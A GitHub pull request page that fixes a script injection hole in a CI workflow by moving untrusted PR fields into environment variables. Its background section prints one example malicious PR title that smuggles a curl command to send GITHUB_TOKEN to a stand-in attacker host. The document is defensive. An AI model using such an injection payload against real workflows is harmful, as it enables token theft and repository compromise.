Skip to content

Comments

Fix script injection vulnerability in cross-repo-issue workflow#4656

Open
jun06t wants to merge 1 commit intoprebid:masterfrom
ajainc:fix/script-injection-vulnerability
Open

Fix script injection vulnerability in cross-repo-issue workflow#4656
jun06t wants to merge 1 commit intoprebid:masterfrom
ajainc:fix/script-injection-vulnerability

Conversation

@jun06t
Copy link

@jun06t jun06t commented Jan 13, 2026

Summary

  • Fix script injection vulnerability in .github/workflows/cross-repo-issue.yml
  • Pass user-controlled inputs (PR_TITLE, PR_NUMBER, PR_MERGED_AT) via environment variables instead of direct interpolation
  • Prevents potential exfiltration of GITHUB_TOKEN through malicious PR titles

Background

The workflow was vulnerable to script injection because github.event.pull_request.title was directly interpolated into the shell command. An attacker could craft a malicious PR title like:

"; curl -X POST -d "token=$GITHUB_TOKEN" https://attacker.com/steal #

This would execute arbitrary commands and potentially exfiltrate the GitHub App token.

Fix

Changed from direct interpolation:

--title "Port PR from PBS-Go: ${{ github.event.pull_request.title }}"

To environment variable approach:

env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: |
  gh issue create --title "Port PR from PBS-Go: ${PR_TITLE}"

Reference

Test Plan

  • Verify the workflow still creates issues correctly when PRs are merged
  • Confirm that malicious PR titles are now treated as literal strings

The workflow was vulnerable to script injection because
`github.event.pull_request.title` was directly interpolated
into the shell command. An attacker could craft a malicious PR
title to execute arbitrary commands and potentially exfiltrate
the GITHUB_TOKEN.

This fix passes user-controlled inputs via environment variables
instead of direct interpolation, which prevents shell injection.

Reference: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections
@bsardo bsardo self-assigned this Feb 3, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants